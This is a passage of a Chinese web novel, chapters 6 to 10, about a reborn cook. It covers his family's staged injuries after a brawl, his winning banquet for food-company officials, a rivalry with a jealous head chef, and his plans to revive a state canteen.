那公安表情拧巴:你个王八蛋就装吧,一个八年的老兵能被吓成这样,当我傻子吗?
第6章 别人没见过世面的样子
之前估计华家人要来闹事,黎军通知了自己三爸,又让他给派出所打了电话。
要不是公安进门时,他正骑在马权利身上爆锤,他也躺地上装死了。
华家所有人都蒙了,黎家人演得太过了,傻子都能看出来,这是打算讹人了。
黎强脑瓜子太有说服力了,滋滋往外冒血,黎父黎母在公安进门的时候,还躺在地上呢,不用说都是受害者。
最后,双方被带去派出所录口供,黎父黎母和黎强则被送往医院就医。
华家人找到人家家里闹事,属于入侵住宅行为,加上黎忠孝的一点小动作,华家人被定性为聚众寻衅滋事罪。
而且他们踹坏吃饭的桌子腿,打翻四个菜,勉强算是毁坏财物,又致人轻伤害,数罪并罚之下,妥妥够判刑的了。
尤其是马氏兄弟,都要吓尿了,这事本来就跟他们无关,还打伤了人,是重点处罚的对象。
“二姑,你救救我们,可不能让我们蹲大狱啊!”
看守所里,马权利一把鼻涕一把泪地求马翠花救他。
华家人对这个也不懂,只能求助地看向公安。
“其他人的事都不大,只要黎家人不追究,你们也不用被拘留,但是马权利的事有点大,涉及刑法,已经不是民事纠纷的范畴,对方要是不愿意出谅解书的话,估计还得重判。”
公安的话让华家人都麻了。
“谅解书,咱们打伤了人家,他们能给咱出谅解书吗?”
华老三嘀咕。
公安:“这就得看你们的诚意了,赶紧联系你们的家人,找受害者去谈谈,要不然找律师也行,只要拿到谅解书,马权利就不会被重判,也许弄个缓期执行啥的也行!”
找律师,对当时的人来说,还是个完全陌生的字眼。
马翠花想不通,她家被退婚,在她想来是受害者,这怎么还成了需要别人谅解的一方了。
“凭什么呀,他黎家退婚才引发的纠纷,他们也打了人,凭什么就没事,凭什么要他们谅解,我两个儿子还一脑袋包,一脸青紫呢,我们找谁说理去,你们一定是收了他家的好处了……”
公安一看她撒泼打滚无理取闹,直接转身:在这撒泼,你可找错了地方。
“等等,公安同志。”
华老三赶紧叫住公安,老婆犯糊涂,他可不能:“同志,你说的诚意,是指我们对他们家进行赔偿吧?”
公安看了看华老三:“还不是太蠢,受害者的态度对马权利量刑很重要,谅解书是法院量刑的重要依据……”
“哎呀,没天理了,他们家退婚在前,怎么还讹上我们了。”
马翠花听说还要赔偿,心里那道坎过不去,坐在地上继续撒泼。
公安有些厌恶地离开,这种人就得关几天,才能消停。
第二天下午,被无人问津的关了一天后,华家人都老实了。
他们央求公安把家里的华妮娜叫来,他们家能跟黎家说上话的,只有这个闺女了。
公安直接把他们给放了,让自己回家商量赔偿和谅解书的事。
不过马权利依旧关着,这家伙打伤了人,是真的触犯了法律。
黎家人在医院处理完黎强的伤势就回村了,黎父黎母根本啥事没有,就是配合儿子演一下而已。
黎军还有事,就没回村,直接去了二食堂,今天晚上要做一桌硬菜给饮食公司的头头脑脑,这是昨天说好的。
等他到食堂的时候,大厅里只有两桌散客,生意不是一般的差。
“黎师傅,你可来了,经理跟猪跑圈一样,往后厨窜了五六趟了,说你再不来,怕赶不上晚上的饭局呢!”
一进后厨,史建军就凑上来嘀咕。
黎军笑着点头:“家里出了点事,要不然早就来了。”
一边说一边换上工服,戴上帽子。
今天的菜是他随意安排的,这时候食材匮乏,高档的食材也不是没有,但是二食堂的档次却不具备。
凉拌牛肉、芝麻花仁、椒麻肚丝、蓑衣莴苣、红扒鸡、干烧鲤鱼、红烧元鱼、大烫干丝、芫爆散丹、金边白菜、香椿煎蛋、炝炒豌豆苗
四凉八热十二个简单的家常菜,但在当时可算是真正的高档货、硬菜。
尤其是元鱼,寻常人根本吃不起,就是一食堂这个菜也不经常备。
黎军先把红扒鸡煮上,这道菜要经过煮、炸、蒸几道工序,比较费时间。
根据当地人的习惯,牛肉必须是酱牛肉或者腊牛肉,但时间上来不及。黎军打算做点不一样的,将牛里脊肉切片腌制,然后焯水过凉,配以香菜葱丝蒜片等小料凉拌。
宰杀元鱼时,后厨的老员工都过来观望,这种高档食材,他们平时可没机会染手,就是氏建军这个炉头也不会宰杀。
“大军,王八血听说大补,给咱接点呗!”
史建军是个自来熟,又都是战友,称呼上直接给了黎军一个大军的称呼。
黎军点头,后世的元鱼都是人工饲养,说是大补有点勉强,现在可不一样,纯纯的野生玩意。
手里这只差不多有五六斤,年份起码五年起步,妥妥的大补之物。
将元鱼翻个,等脖子伸出时一把薅住,用刀从侧面环割,暗红的血液汩汩流淌。
史建军像是看见脱光的大美女一样,赶紧用酒杯接住,酒杯里还有他从吧台偷倒客人的剩酒。
放完血之后,黎军开始处理元鱼,连撕带拍手脚麻利都拉出残影了,看得一个个老员工都傻眼了。
“黎师傅,你能慢点整吗,让我们看看流程。”
“就是就是,军哥你慢点整,让我们也跟着学学,这玩意二食堂还没弄过呢!”
几个学徒祈求地看着黎军。
“也行,顺便给你们讲解一下,吃王八主要是吃它的裙边,这玩意野生的才大补……”
于是黎军现场做起老师,给几个学徒讲解起元鱼的特性来。
好为人师是通病,看这一群求知欲满满的同行,这情绪价值立马就到位了。
“军哥,王八不都是野生的吗,听你的口气,这玩意还能饲养?”
黎军想了想,养甲鱼这时在南方才刚起步,北方人工饲养的几乎没有。
这似乎又是一条致富经,重来一次,简直遍地黄金啊!
就喜欢看别人没见过世面的样子,黎军正打算给这群人科普一下,就听到史建军一声鬼叫。
“哎呀,这不对啊,王八血泡酒,怎么这样式的。”
然后这货就屁颠的端着酒杯过来,凑到黎军眼前。
“这不是很正常嘛,你鬼叫啥?”
黎军没好气道。
“不应该是红色吗,怎么是灰不拉几的?”
酒杯里,滴进去的甲鱼血已经成了絮状的灰色。
黎军突然笑了:“我说老史,你电影看多了吧,甲鱼血遇到酒精就是这个颜色,赶紧喝了吧,记得多喝水,这玩意火大。”
史建军一听火大,立马来了兴致:“哎呀,人上了年纪,锅锅子不热,就是需要火大的东西补补。”
说完,捏着鼻子一口干了酒杯里的血酒。
几个学徒都好奇地看着他,有个调皮的还盯着他的下三路打量。
“咋样师傅,有感觉了没?”
“滚一边去,哪有这么快!”
第7章 大秀肌肉
和谐的气氛中,准备工作很快完成,这时刘小福又跑了进来。
“咋样了黎师傅,都准备好了吗?”
“放心吧,尽在掌握。”
黎军胸有成竹,这种简单菜肴对他来讲易如反掌。
“那就好,尽情发挥,我大牛都吹出去了,一把手很重视,特意请了税务局、防疫站、工商局、农机站的领导们过来品尝呢!”
刘小福特别重视这次试菜,以往一把手都不来二食堂吃饭的,原因就是他们没有好师傅。
“他们什么时间来?”
黎军看了看墙上的闹钟问道。
重来一次,他也比较上心,他记得前世进二食堂的工资是九十几块,赶上工厂的七级工匠水平了。
“还有半个小时到下班,领导们过来差不多还要一个小时,你有什么事吗?”
“没事,你就等着长脸吧!”
“得嘞,听你这话就让人安心,那你忙着,我去包间安排下。”
刘小福走后,黎军就开始秀技能了。
食堂里的各种萝卜、南瓜、大白菜都迎来自己的高光时刻,一跃成为老百姓吃不起的样子。
雕刻技法在餐饮运用由来已久,花鸟虫鱼、飞禽走兽、无不包容。
黎军在一个南瓜头部雕刻了麒麟造型,挖空中部作为红烧元鱼的器皿。
大白菜雕刻成龙爪菊的花朵,让普通的凉拌牛肉身价翻倍,心灵美萝卜雕刻出牡丹花,红萝卜的绶带鸟……
十二个菜品一个没落,每个都做了大气上档次的盘饰。
这么做的确有点浮夸,但是头一次秀肌肉,秀就完了,最好亮瞎那些什么领导的狗眼。
一群服务员围在后厨里,叽叽喳喳的品头论足,某人的虚荣心被极大满足。
“哇……这手也太巧了吧!”
“哎呀妈呀,这牡丹花跟摘下来的一样,太逼真了。”
“小黎师傅,你有女朋友了没,我娘家侄女长的可水灵了?”
“专注的男人好有魅力啊,真是爱了爱了!”
一个大小伙子,被一群花痴一样的美女浪婆娘围着羡慕恭维,美得大鼻涕泡都要出来了。
二食堂大门口,刘小福一脸期待的搓着手等人。
作为二食堂负责人,找不到真正的好厨子,他都要纠结死了。
他是业内人士,知道黎军手艺的含金量,那绝对是二食堂的破局之人,所以今晚他要为黎军大吹大擂一番。
没过多久,饮食公司的桑塔纳在门口停下,紧跟着是几辆颜色各异,不同品牌的车子停下。
饮食公司一把手徐良,挺着六个月身孕一样的肚子下车。
这年头胖子不多,这家伙却一肚子囔囔踹,足以显示他吃货的体质。
不过徐良虽然看着草包,却是实打实的美食家,还是个上过战场、立过功的老兵,在临县算得上一号人物。
他下车后,先是和其他几个部门的负责人握手,说了点场面话,这些人都是餐饮行业得罪不起的存在。
相互寒暄片刻,众人便走向二食堂。
刘小福屁颠的迎上来:“欢迎各位领导,莅临二食堂指导工作,里边请。”
“小刘啊,干工作可要实事求是呢,昨天你吹的那么玄乎,掉链子的话我可不答应,你看我请的都是谁。”
徐良笑着拍了拍刘小福肩膀,这二食堂经理也是上头有关系的。
“领导放心,一般水平我就看着安排了,黎师傅绝对是个有料的,这才请您过来把把关。”
徐良带的人都是微笑点头,这种场合就是纯纯的吃喝局,没啥正事,反正都是饮食公司买单,他们带张嘴和笑脸就行了。
“我就会吃,真正懂行的还在后头呢!”
徐良的话让刘小福疑惑,不知道他还请了谁。
就在这时,一辆嘉陵70小摩托突突突的停在二食堂门口。
一个四十岁上下的矮胖子一脸笑嘻嘻的下了车。
“徐总经理、顾局长,张科长……刘所长,你们都下班了。”
矮胖子点头哈腰的迎上徐良等人,手上的华子给每人递了一根。
刘小福眼角一抽搐:“左师傅,想不到你也来了。”
左祖安,外号笑面虎,饮食公司行政总厨,是个老资格的厨子。
“刘经理,来新厨子试菜,我怎么能不到呢,听徐总说你都把人夸成花了。”
刘小福尬笑:“呵呵,是我疏忽了,左师傅里边请。”
行政总厨虽说还是厨子,但是重要性远比他一个部门经理要大的多。
包厢门口,两个身材曼妙的服务员见人进来,一个跑去后厨通知,一个开门迎客。
“黎师傅,老史,徐总来了,准备凉菜吧!”
后厨立刻忙碌起来,黎军开始调制凉菜,打荷的帮他摆盘装盘。
南北方上菜习惯不同,北方都是汤羹收尾,最先上的就是冷荤。
老史看着凉拌牛肉有点担忧:“大军,牛肉这么弄行吗,以往都是腊牛肉卤牛筋这些。”
黎军牛肉拌好,用筷子夹了一片:“张嘴”
史建军下意识张开嘴巴,一片牛肉就飞进嘴里。
吧唧嘴
“嗯……麻辣鲜香,略带甜味,比腊牛肉多了几丝水嫩和滑爽,口齿留香回味悠长,很有特点,用来下酒非常利口。”
黎军笑道:“这是时间来不及,要是时间允许,我做一个灯影牛肉,能亮瞎你们的狗眼。”
所有人翻白眼,这家伙是专门来扎心的吧!
将牛肉在盘子一角高高垒砌成塔状,打荷的在对角摆上龙爪菊和香菜,普通的凉拌牛肉立刻身价翻倍。
蓑衣莴苣提前腌好,此刻只需要规整的交叉堆叠成垛子状即可。
这是一道考验刀功的菜肴,莴苣切成筷子粗细,打上蓑衣花刀,提前用白糖、盐、白醋、辣椒丝等腌好,看着只有两寸长短,但是夹起来却会拉长到一尺左右。
碧绿的莴苣周围,用红萝卜雕刻的凌霄花惟妙惟俏,看着就令人赏心悦目。
四个凉菜虽然普通,但是装点一番后,卖相一下就拔高了数倍。
“华而不实的玩意,做菜就好好做,整这些虚头巴脑的玩意,是要赚取噱头吗?”
所有人打量四个凉菜的时候,一道公鸭嗓音在人群背后响起。
史建军扭头一看,赶紧脸上堆笑:“左厨来了,您是专门来看试菜的吗?”
这话其实是给黎军说的。
左祖安嘴上这么说,其实心头已经掀起了巨浪,这些雕刻没有十几年功底打磨,根本就无从谈起。
但是黎军看着也不过二十三四岁,怎么可能拥有这么精湛的雕刻技艺的。
餐饮行业里,食材雕刻属于凉菜范围,都是专门的分类,需要专人用漫长的时间才能堆砌出来。
一种前所未有的危机感让左祖安有些不安。
黎军抬头看了看来人,四十年前的记忆浮现。
左宗安,烧成灰他也能认出来,上一世,这货仗着自己高级厨师和行政总厨的身份,没少打压他。
当时黎军没弄明白,自己菜做的足够好,为啥这货就不待见自己,现在他算是通透了,这货纯纯就是危机感在作祟,生怕自己被人取而代之。
山中无老虎,猴子称霸王。
左祖安的厨艺在临县稳压其他人,出了黎军这么个变数,他能心安理得才是见了鬼了。
第8章 技惊四座
徐良的人品黎军知道,是个注重能力的人,对真正有能力的厨子都是很关注的。
所以这一世重来,黎军根本没打算惯着左祖安。
“食材雕刻是为了提升菜品卖相,给人增加就餐体验和仪式感,是餐饮行业不可或缺的重要环节,也是饮食文化传承和艺术表达,怎么能说成华而不实呢?”
黎军不客气的说辞让左祖安脸色一僵,没想到一个试菜的厨子,敢这么跟他说话。
“大军,跟你介绍一下,这是饮食公司行政总厨……左师傅,三个食堂的厨子都归他管。”
史建军赶紧上前解释,虽然左祖安被怼,他心里也爽得飞起,但是对黎军不利的事情,不是他想看到的。
“哦……原来是总厨,失敬失敬,我这人心直口快,见不得老祖宗的好玩意被人诋毁,还请左厨见谅一二。”
黎军改了下语气道,诚意有点却不多。
左祖安脸上肌肉只是僵了刹那,就换上了一副和煦的笑容。
“说得好,我也只是一时嘴快,说了不该说的话,还请新师傅别往心里去。”
这个新师傅就有些说道了,包含了许多意思,一来黎军太年轻。
厨子是个讲究积累的行业,新人大多没啥功底。
二来黎军刚来试菜,还不是二食堂的正式员工。
其次就是黎军的水平,是需要他这个总厨打分的。
看着笑容灿烂的左祖安,黎军表情没啥变化,心里却在暗骂:笑面虎,这一世要是还想给老子穿小鞋,看我打不打死你就完了。
“怎么会,左厨是老师傅,作为新人,自当多向你学习才是。”
“呵呵,相互学习,做菜这玩意跟做人一样,做到老学到老,世事经不了,那你们先忙着,我去陪陪徐总他们。”
左祖安笑呵呵地走了。
等着端菜的李谋女看着他的背影:“呸……笑面虎,阴狠小人一个,二食堂就是被他挤兑没生意的。”
史建军有点担忧地看向黎军:“大军,忘了给你说了,这家伙是个绵里藏刀的货,见不得谁比他好,咱们是转业来的,不怕饮食公司不接收,但是以后在这货手底下干活,日子恐怕不会好过了!”
黎军笑笑:“别太放在心上,餐饮行业是个拼实力的行当,饭菜质量才是硬道理,做好自己就行了,其他的交给客人去说吧!”
包厢里,徐良等人喝了几杯茶,就安排上菜了。
四个凉菜一上桌,所有人眼睛都亮了。
税务局一把手看着白菜雕刻的龙爪菊赞叹:“哎呀,二食堂来了个高手啊,这雕刻比安市饭庄的还要精细啊!”
“嗯……这凌霄花雕刻也很传神,红花配绿叶,不错不错。”
“这装盘一看就不简单,能把猪肚切得整齐划一,这个厨子有点功夫啊!”
白吃喝的都是有见识的,一眼就看出这几个菜不简单。
徐良也很诧异,一般情况,部队转业来的,手艺都不咋滴,毕竟那就是个做大锅饭的地方。
看着四个凉菜,他难以置信地点头:“单是卖相就很不错,小左,你觉得咋样?”
左祖安带着标志性的笑容:“单看卖相是很不错,但是做菜吗,主要看口味,好吃才是王道。”
言下之意,这就是虚有其表了。
这时服务员开始上酒,徐良似乎是被菜肴勾起了酒虫。
“那个小杨,把我的骊山白拿出来。”
骊山白是徐良的私人酒,在座的不是所长就是局长,招待费用按说都是公家买单,徐良的人品可见一斑。
工商局长笑道:“骊山白是老徐战友厂子里出的,听说酒质很不错,不比西凤剑南春那些差。”
酒满上后,徐良指着凉拌牛肉道:“这个牛肉是个新做法,咱们还没见过呢,都试试口味。”
“牛肉嫩滑,跟腊牛肉酱牛肉区别极大,完全是另外一种体验。”
“嫩滑麻辣,很有特点。”
“嗯,打破常规,有想法。”
尝了一筷子后,所有人赞不绝口,徐良一边咀嚼一边点头,这种吃法他也是第一次,就觉得特别爽口嫩滑。
“小左,你也尝尝,我觉得比酱卤那一套更有味道,尤其是没有那种浓重的柴药味道。”
闻言,左祖安也夹起一片入嘴,纵然心里不愿意承认,也无法挑出毛病。
“的确不同凡响,是个新吃法,有种爆炒的滑嫩感觉。”
后厨里,黎军正在给红烧元鱼收汁,史建军和几个老员工都在边上看着。
“大军,这么多给哥几个留几块尝尝,老子做了这么久厨子,还没吃过王八呢!”
黎军笑道:“王八血都给你喝了,那可是精华,今晚小心流鼻血啊!”
红烧元鱼装在南瓜盅里,上桌的时候,徐良等人惊呆了。
“哎吆,这刻的是麒麟吧,真是惟妙惟肖。”
“巧夺天工啊!”
“麒麟送子,老顾啊,对你来说这道菜太应景了,你今天刚得了一个大胖孙子。”
“哈哈哈……”
工商局长顾长春哈哈大笑。
服务员小杨揭开南瓜盅的盖子:“红烧元鱼,请领导们品尝。”
元鱼的香味混合着南瓜的清香立刻在包厢里弥漫开来。
“嗯……很有思路,南瓜的清香和甲鱼的厚重口味结合……”
“色泽洪亮,紧汁漏油,明油亮芡,红烧掌握得很到位。”
这些人筷子一动就停不下来。
就连左祖安也被震撼到了,他的从业生涯里,从来没有人将红烧技法掌握得这么到位。
“咸香入味,略带甜口,肉质酥烂脱骨而不失其型,这甲鱼烧得不错!”
看着徐良盯着自己,左祖安违心地评价道。
“仅仅是不错吗?”
徐良问道。
左祖安点头:“非常不错,跟我不相上下。”
其他人无语,这货太能给自己贴金了,他们又不是没吃过他烧的甲鱼,水尿巴汤的绝不是一个级别。
接下来是红扒鸡,这是一道传统鲁菜,成菜金黄中透着红色,五香味浓郁,酥烂脱骨。
左祖安更纳闷了,一个年轻厨子,怎么可能精通多个菜系的。
干烧鲤鱼同样不同凡响,川菜麻辣鲜香的特点被体现得淋漓尽致。
用来借味的五花肉被切成鸡冠片,煸出油脂肥而不腻,吸收烧鱼的汤汁后口味别具一格。
芫爆散丹锅气十足,百叶脆爽,香菜碧绿……
五瓶酒喝完,所有人无不赞叹,一桌菜可以说毫无瑕疵。
就在这时,服务员端着一个大汤窝进来,刘小福赶忙接过来放桌上。
“各位领导,这是今天临时加了一道菜,酸辣肚丝汤,特意给领导们解酒的。”
今天刘小福可算是扬眉吐气一回,二食堂终于有拿得出手的大厨了。
徐良喝得脸红脖子粗,很是满意今天的菜品。
“把厨子叫过来看看,这水平可以说是临县……嗯不,安市都是当之无愧的这个。”
看着徐良等人竖起的大拇指,左祖安心里像是吃了一只绿头苍蝇一样不得劲。
这意思太明显了,新来的厨子水平要远超他,因为他只是在临县这个小水洼里扑腾的主,安市根本就排不上号。
心里对黎军那叫一个恨:你都这么优秀了,干嘛来临县这么个小地方,摆明了砸他饭碗的,这事绝不能如了他的意……
第9章 你少在这血口喷人了
黎军刚洗完手,刘小福就亲自跑过来叫他,不知是激动还是别的原因,声音都有些发颤。
“黎师傅,走走走,跟我去包厢,我跟你说,今晚所有人对你的菜品都非常满意,这是要给你定身价了。”
黎军点头,上一世到二食堂,他可没有这么高的厨艺,工资只给到了七级大工水平。
这一世不同,他有烹饪界天花板厨艺,工资肯定会更上层楼。
这个工资对现在的他至关重要,要想此生不留遗憾,起步资金关乎以后的所有计划。
十年看似很长,但是受当前大环境影响,要积累第一桶金依然不是简单的事情。
包厢被几个吞云吐雾的人整得乌烟瘴气,白酒混合着烟草气息,差点将他熏一个跟头。
“徐总,各位领导好,吃得还满意吗?”
黎军笑呵呵地拿出大前门,打算给在座地散一圈烟。
吃货们全都不吝赞美,白吃饱的差使,说好听的就完了,更何况黎军的出品是真的超赞。
“很不错,都在夸你的手艺呢!”
徐良爽朗地笑着接过烟。
烟酒不分家,酒桌上喝得五迷三道,大多不会介意烟好不好,而且当时的大前门三四毛钱一包,算是中档水平。
几个局长科长也都笑呵呵的接了香烟,左祖安却笑着说道。
“做厨子的尽量少抽烟,尤其在后厨是禁止吸烟的,这玩意会影响味蕾,让你尝不出味道。”
黎军暗自冷笑着装起香烟:“哦,那就不给左厨递烟了,本来也没打算给你。”
左祖安的手僵在了半空,脸上更是吃了屎一样难看:小瘪三给老子等着,以后有你好看。
徐良嘴角抽搐了一下,笑着问了黎军一些问题,家庭住址,要不要在食堂住宿,又有什么特别要求之类。
“我听从组织安排,没啥特别要求,住宿我可以自己解决,就不给组织添麻烦了。”
黎军家里距离县城并不远,骑自行车不过二十几分钟,而且在老干所里,还有个从小把他捧在掌心里的亲人。
“嗯,你这个同志觉悟很高,烧菜水平更是没的说,在饮食公司做总厨都没问题,不过眼下咱们只需要一个总厨,你就从二食堂的厨师长开始做起吧!”
左祖安听得脸黑,这也太不顾及他的感受了,还从厨师长做起,什么意思,将来取代他吗。
黎军却有些无语,徐良这不是给他拉仇恨吗,以后这个左祖安不整他,都对不起行政总厨的身份了。
徐良为人相对正直,知道这几年左祖安在饮食公司一人独大,有意给他扶植一个对手,杀杀他的傲气。
“按照规矩,你们厨子是标准加协议工资,标准这里可以给你定到八级,也就是工人阶级最高工资,一百二十块,协议工资……加三十块,比左厨只低了十块,怎么样,还满意吧?”
徐良一口气说完,然后靠着椅背,笑眯眯地看着黎军和左祖安,眼神里似乎有某种阴谋在闪烁。
黎军已经不能说什么了,比当前工人阶级最高工资还高了三十块,还能有啥不满意的。
左祖安心里却不乐意了,一个初出茅庐的小子,比自己只少了十块钱,让他这个从业二十年的老资格情何以堪。
“满意得一塌糊涂,徐总放心,我一定使出吃爷的力气,铆足了劲将二食堂的业绩搞上去,不辜负您的厚望。”
徐良赞许地点头:“很好,以后有啥事多跟左厨商量,有好点子就往出拿,饭店挣了钱,奖金啥的都好说。”
黎军看向左祖安,友好地伸出手:“那就请总厨多多关照了。”
“好说好说。”
左祖安皮笑肉不笑应付道。
此刻华家庄,华老三家正愁云惨淡,公安让他们回来找黎家人商量赔偿和谅解书事宜。
华妮娜往黎家跑了三趟,也没看见黎军的人影,夜里九点多,依然没等到他的人。
想问问黎家人,以往对她慈眉善目,笑容可掬的黎父黎母居然跟换了个人似的,那老脸都拉到脚面了,说话阴阳怪气怎么损怎么来。
黎军的弟弟黎强,脑袋上顶着个白色大网兜子,对她更是狂放嘴炮,这货嘴巴本来就欠,说得她都想挠他一个满脸花子了。
没等到黎军的人,华妮娜郁闷地回家,刚进院子,就听到正屋里有人吵架,那架势房顶都快被掀了。
“翠花,到底咋回事吗,登高回去说,权利被拘了,你是他二姑,咋能把孩子往沟里带?”
马翠花的大哥一脸官司,他两个儿子昨天说去二姑家帮忙,今天就老二回去了,说哥俩去给姑姑护驾,去准亲家说事,结果就动手打伤了人,被抓起来了。
马翠花脸色像是吃了翔,要不是侄子嘴欠,双方何至于打起来,对方说几句难听话能咋,又不会少块肉。
好好的亲事,一动手就彻底歇菜,这么好的大冤种,让他们上哪找去。
“大哥,这事我也没想到啊,权利上去就给人开了瓢,那血呼刺啦的我都吓得突突了,公安说了,咱们这是啥众……滋事罪,要判刑的。”
一听说还要判刑,马翠花的嫂子立刻蜂蛰屁股一样跳起来。
“什么,还要判刑,马翠花啊,你这缺了大德的玩意,这事你们家必须得想办法解决,我儿子可是给你护驾才打的人,说啥也不能因为你家的破事蹲了大狱。”
这话说得马翠花立即上头,她还一肚子火没地方发呢,闺女亲事黄了,她比谁都抓心挠肺。
“嫂子,你怎么能这么说话,我咋就成了缺德玩意了,是权利那孩子脾气太冲,不是骂人就是打人的,妮娜好好的亲事都给他搅黄了。”
“嗯……不,要不是你这个当姑的带孩子去闹事,能出这种倒灶事情吗,反正我不管,我儿子你必须给我弄出来,黎家人要赔偿,也跟我们家无关?”
大嫂歇斯底里。
华老三看着这一对姑嫂吵架,脑子仁都觉得疼,他拉开马翠花对大嫂道:“大嫂,你先别吵行不行,我们这不是正解决这事呢,妮娜去了黎家好几趟了,这不是黎军没回来吗?
你放心,以他对妮娜的感情,这事还有的商量,赔偿也就是说说而已,谅解书应该能拿到手。”
这时众人看到推门进来的华妮娜,就赶紧围过来追问。
“爸妈,二姑……你们都别问了,他没在家。”
“没在家,他能去哪里,我们家因为他退婚弄成这样,他这是打算不闻不问了?”
马翠花脸都扭曲了,完全不想这是因为他们带人上门才闹出来的不快。
华妮娜无语道:“妈,你别这样一副苦大仇深的语气了,人家又不欠我们的,都是因为你跟我爸狮子大张口,才把人逼急的。”
马翠花一听闺女这话,黑血直冲脑门子。
“你个死丫头,胳膊肘往外拐的赔钱货,你妈这么做还不是为了你?”
“又是这句,我怎么就赔钱货了,还说什么为了我,你们都是为了两个弟弟好吧!”
华妮娜听妈说自己赔钱货,心里顿时有些烦闷。
“你……”
马翠花刚要开口,就被华妮娜挥手打断:“好了,别说了,我明早去村口堵他行了吧?”
翌日一大早,黎军跟爸妈说了自己试菜的情况。
父母一听给了工人阶级最高工资,眼珠子都要飞了,他们根本没想到,厨子居然能够挣到这么高工资。
今天是他二食堂上班的第一天,他打算早早地去食堂。
刚走到村口,一道紫色的倩影挡在自行车前面,不是华妮娜又是谁。
“军哥……我有事跟你说。”
黎军用脚撑住自行车,脸上带着一抹坏笑。
“还说啥啊,把我弟都打成脑震荡了,黎家和华家已经没可能了。”
华妮娜看了看旁边的吃瓜地,虽说是早上,但是农闲时节,这里已经有不少观众到了。
“咱们换个地方说吧!”
华妮娜祈求道。
“别了,还是这里说吧,万一走到没人的地方,你突然大叫我非礼,我岂不是黄泥掉进裤裆里了。”
华妮娜被气得小脸一黑,这是一点面子都不给留了啊,自己是那样的人吗,再说你以前非礼我还少吗?
“军哥……你知道的,那都是我家人干的糊涂事,我们青梅竹马十几年,我有多么爱……你……你不清楚吗。”
旁边有人等着吃瓜,这话女孩子出口还挺不好意思的。
但是华妮娜没办法,不把黎军安抚好了,她家就甭想拿到谅解书,没有这玩意,他表弟绝对要蹲大狱。
谁知,挺正常的一句暧昧话刚一出口,黎军就脸色大变,蹬起二八大杠就跑,临了还撂下一句话。
“你少在这血口喷人了……”
第10章 几个好的点子
“你……你有病吧,一大早胡说八道什么东西?”
华妮娜呆愣了三秒,然后整个人都不好了,这货没头没脑的“一句你少在这血口喷人”,把她彻底整迷糊了。
旁边的吃瓜地,几个闲汉一脸也是懵,肉麻话怎么说着说着,黎军就蜂蛰一样跑了,尤其是那句风马牛不相及的鬼话,让他们的瓜都吃麻了,完全是丈二和尚摸不着头脑。
黎军车子蹬出去两三里地,才哈哈大笑起来。
其实他心里没想着怎么讹人,就是想给华家人一点教训,要不然这几年自己的钱就白花了。
经历过一世,拿得起放得下才是洒脱,不该留的就趁早放手。
刚才的反应,纯纯的就是想恶心一下华妮娜,这女人到现在还想打感情牌,当自己傻子吗?
当然了,现在想起前世的自己,似乎真的没带脑子投胎来的。
二食堂门口,采购员贺谷丰和服务员李谋女正在卸菜,就看见黎军骑着自行车在门口停下。
“黎师傅,你怎么这么早,我们九点才上班呢?”
李谋女是个自来熟,看见黎军来了,挺着一对大凶器就迎上来问话。
“李姐早,贺采购早,来早点不是还能吃早餐吗!”
黎军一边停车一边打招呼。
他的戏谑让两个人顿时觉得好相处不少,毕竟这以后也是他们的头头。
二食堂生意不咋滴,供销社拉回来的菜品不多,几个竹筐就卸完了。
黎军帮两人将菜筐搬进后厨,几个配菜的都乐颠地跟他打招呼。
昨晚的菜品让他们实打实的小刀拉屁股……开了大眼,对黎军可以说佩服的五体投地。
“黎师傅,炉子我弄好了,红豆粥也煮上了,您看早点吃点啥菜,我们这就准备。”
二火(给主厨打下手的厨子)余家良一脸谄媚,以前他给史建军在炉子上打下手,但是对方的手艺本来就不咋滴,他也是毛都没学到。
黎军的到来,给了他新的希望。那年头厨子的手艺都是靠言传身教口口相传下来的,一个好师傅对徒弟的影响深远,有些甚至可以延续一辈子。
“你们看着发挥,这个不用问我,员工餐是你们提升的绝佳途径,别小看了员工餐,你把它当做正式站炉子,给客人煮菜那样认真没坏处。”
学徒走向主厨,这是一个标志性转折,意味着出师和身份地位。
没有网络的时代,这个阶段往往会持续几年甚至更多,所以那时候师徒关系非常亲密。
这种关系在社会上的各个领域,方方面面都存在,尤其是这种一个锅里搅勺的地方,更为过之。
早饭是八点半,二食堂十八人分坐两桌,刘小福坐在后厨一桌,开饭前给众人又隆重介绍了一下黎军。
饭店里,厨师长的身份地位仅次于经理,还是个凭实力说话的角色。
“黎师傅,饮食公司三个食堂,就咱们二食堂生意最差,以前咱们没有好厨子好人手,没有拿得出手的菜品,现在你来了,要怎么改善这个现状,有啥好的建议别藏着掖着,我们的奖金可都在营业额里呢!”
刘小福的话让史建军脸黑,这话对他来说就是暴击,当着这么多人被当成反面教材,不要脸的吗?
黎军点头:“对于改善我们的现状,我倒是有几个好的点子,绝对能让我们成为三个食堂中的Numbr one。”
所有人懵圈地看着他,不知道Numbr one是啥意思。
“啥万?”
“什么万,啥意思?”
黎军讪笑,摸了摸鼻子,知道自己跑偏了。
“嗯……就是第一的意思。”
刘小福瞪大眼珠子,有些不可置信,在他看来,黎军手艺虽好,但是影响饭店生意的可远不止手艺。
“嘿……这话听着就提气,不管怎么样,我们跟着你干就完了。”
史建军选择盲目相信,余家良和几个打荷的纷纷附和,都说要唯他马首是瞻。
刘小福认真的看着黎军,当下改革开放,街面上,都开始有摆摊的出现了,这说明什么,经济正在复苏,他们国营饭店的第二春就要来了。
“咱们一边吃一边说呗,有啥好点子都掏出来。”
对于怎么改善二食堂的窘境,黎军有几个好点子。
当下最显眼最能立竿见影的就有好几个方面。
第一是现在餐饮的核心理念,微笑服务。
那时候所有的国营企业,服务态度差,生硬冷倔是通病。
别说城里,就是一个农村供销社,那售货员尾巴都能翘到天上去,再稍微带个一官半职的,都是拿鼻孔看人,走路恨不得横着走。
第二则是对后厨进行一个升级,明厨亮灶,跟当下所有饭店给顾客的遮掩感官形成对比。
那时候所有后厨都挡得严严实实,“闲人免进”的牌子不要太大,主要就是隔开后厨一些不太美观的东西,或者说工作人员的野蛮操作也行。
其实但凡下饭馆吃饭的,大概都有这么个潜在的顾虑。好家伙,挡得严严实实,谁知道菜品洗干净没,有人偷吃没……甚至上厕所的人洗手了没等等。
这个操作起来并不难,拆除后厨和就餐大厅的墙壁,换成玻璃格挡即可,成本小成果却非常亮眼。
不过这个对后厨工作人员要求就比较高,需要团队素质提升一下。
也不是难事,只需要跟利益挂上钩即可,达不到要求就罚款,扣发奖金呗。
然后就是优化菜谱。
